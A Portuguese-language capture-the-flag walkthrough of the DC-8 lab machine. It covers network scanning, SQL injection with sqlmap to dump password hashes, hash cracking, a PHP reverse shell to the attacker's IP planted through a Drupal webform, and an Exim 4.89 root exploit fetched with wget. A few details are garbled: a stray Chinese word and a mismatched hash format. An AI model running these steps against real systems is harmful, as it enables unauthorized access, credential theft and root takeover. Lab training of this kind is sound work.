DC-8: Walkthrough de Vulnerabilidade e Escalação de Privilégios

Para este teste de penetração, utilizamos o Kali Linux como atacante com IP 192.168.75.10, enquanto a máquina alvo DC-8 está configurada em 192.168.75.45. O objetivo inicial é identificar e explorar vulnerabilidades para obter acesso privilegiado ao sistema.

Reconhecimento de Rede

O primeiro passo consiste em descobrir o endereço IP da máquina alvo dentro da rede local. Utilizamos o utilitário arp-scan para realizar essa descoberta de forma eficiente:

arp-scan --localnetwork

Após identificar o IP 192.168.75.45, executamos varreduras com o Nmap para descobrir portas e serviços expostos. A análise inicial confirma que os serviços SSH (porta 22) e HTTP (porta 80) estão ativos:

# Verificação de hosts vivos
nmap -sn 192.168.75.45

# Varredura completa de portas e serviços
nmap -p- --service-version --version-all 192.168.75.45

Análise da Aplicação Web

Acessando o servidor web, encontramos um site institucional com algumas公告 (avisos). Ao analisar os parâmetros da URL, identificamos um possível ponto de injeção SQL no parâmetro "nid". Testando com um apóstrofo simples, obtemos erro de sintaxe SQL, confirmando a vulnerabilidade.

Exploração com SQLMap

Com o SQLMap, automatizamos a exploração da vulnerabilidade de injeção. Primeiramente, listamos os bancos de dados disponíveis:

sqlmap -u "http://192.168.75.45/?nid=2" --dbs --batch

O banco de dados mais relevante identificado é o "d7db". Em seguida, listamos todas as tabelas desse banco:

sqlmap -u "http://192.168.75.45/?nid=2" -D d7db --tables --batch

Entre as diversas tabelas, a tabela "users" chama atenção por conter informações de autenticação. Exploramos suas colunas:

sqlmap -u "http://192.168.75.45/?nid=2" -D d7db -T users --columns --batch

As colunas "name" e "pass" correspondem respectivamante a nomes de usuário e hashes de senha. Extraímos esses dados diretamente do banco:

sqlmap -u "http://192.168.75.45/?nid=2" -D d7db -T users -C name,pass --dump --batch

Obtemos dois hashes de senha, um belonging ao usuário "admin" e outro ao usuário "john". Salvamos esses hashes em um arquivo para ataques de força bruta:

# Conteúdo do arquivo credenciais.txt
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

Quebra de Hashes

Utilizando o John the Ripper para quebrar os hashes, obtemos sucesso com apenas uma das credenciais. O usuário "john" tem a senha clara "turtle", enquanto o hash do administrador não pôde ser quebrado neste teste:

john credenciais.txt --format=md5crypt

Acesso à Interface Administrativa

Com as credenciais obtidas, acessamos o painel administrativo através do caminho /user/login. Após autenticação bem-sucedida, navegamos até a seção de gerenciamento de conteúdo. No módulo "Find Content", encontramos a configuração de Webform, especificamente em "Form Settings", onde existe a possibilidade de injetar código PHP.

Obtenção de Shell Inverso

No campo que permite código PHP personalizado, inserimos um payload que estabelece conexão reversa com nosso atacante. Ao mesmo tempo, configuramos um listener para receber a conexão:

# Payload injetado no formulário PHP
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.75.10/4444 0>&1'");?>

# Listener no Kali Linux
nc -lvp 4444

# Após conexão, melhoramos o shell para suporte completo a TTY
python3 -c "import pty; pty.spawn('/bin/bash')"

Para acionar o payload, acessamos a página "Contact Us" e submetemos o formulário, o que executa o código PHP e estabelece a conexão reversa.

Enumeração de Privilégios

Com acesso ao shell, pesquisamos binários que podem ser executados com privilégios elevados através do bit SUID:

find / -user root -perm -4000 2>/dev/null

Entre os binários encontrados, o Exim4 se destaca por ser um MTA (Mail Transfer Agent). Verificamos a versão instalada:

/usr/sbin/exim4 --version

A versão 4.89 está instalada, para a qual existe um exploit de escalação de privilégios locais documentado.

Escalação de Privilégios com Exim4

Consultamos o Exploit Data base para obter o exploit correspondente:

searchsploit exim 4.89

Copiamos o exploit para nosso diretório de trabalho e analisamos seu conteúdo:

cp /usr/share/exploitdb/exploits/linux/local/46996.sh ./exploit_exim.sh
head -50 exploit_exim.sh

Para disponibilizar o exploit na máquina alvo, iniciamos um servidor HTTP simples no Kali:

python3 -m http.server 8080

Na máquina alvo, baixamos e executamos o exploit. Antes, verificamos a codificação do arquivo para evitar problemas de compatibilidade:

# Verificação e conversão de formato de arquivo
file exploit_exim.sh
:set ff=unix
:wq

# Download e execução
cd /tmp
wget http://192.168.75.10:8080/exploit_exim.sh
chmod +x exploit_exim.sh
./exploit_exim.sh -m netcat

Caso ocorram problemas de codificação, renomeamos o arquivo e reeptimos o processo. O exploit tenta estabelecer uma conexão reversa através do método netcat:

# Listener para receber a conexão privilegiada
nc -lvp 31337

Após execução bem-sucedida do exploit, recebemos uma conexão shell com privilégios de root, permitindo acesso completo ao sistema e leitura das flags.

Considerações Técnicas

Durante o processo de exploração, problemas de codificação de caracteres podem impedir o funcionamento correto de exploits. A conversão para formato UNIX utilizando o comando :set ff=unix no editor Vim resolve a maioria desses problemas de incompatibilidade entre sistemas.

Tags: sqlmap nmap exim4 Privilege-Escalation penetration-testing

Publicado em 8-17 23:34